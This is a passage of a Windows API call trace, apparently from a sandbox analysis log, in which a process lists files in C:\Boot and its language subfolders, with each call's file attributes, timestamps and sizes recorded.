	[0068.041] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0068.041] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0068.041] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0068.041] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0068.042] FindNextFileW (in: hFindFile=0x811908, lpFindFileData=0x3a1fcf8 | out: lpFindFileData=0x3a1fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0068.042] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0068.042] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811c48
	[0068.042] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0068.042] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0068.042] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0068.042] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0068.043] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0068.043] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0068.043] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.043] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812048
	[0068.043] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.043] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.043] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0068.043] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0068.044] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0068.044] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.044] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0068.044] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.044] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.045] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0068.045] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0068.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.045] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811948
	[0068.045] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.045] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0068.045] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.045] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0068.045] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.046] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812088
	[0068.046] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.046] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.046] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.046] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.046] FindClose (in: hFindFile=0x812088 | out: hFindFile=0x812088) returned 1
	[0068.046] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.046] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0068.046] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.046] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0068.046] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.046] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.047] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0068.047] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0068.047] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.047] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
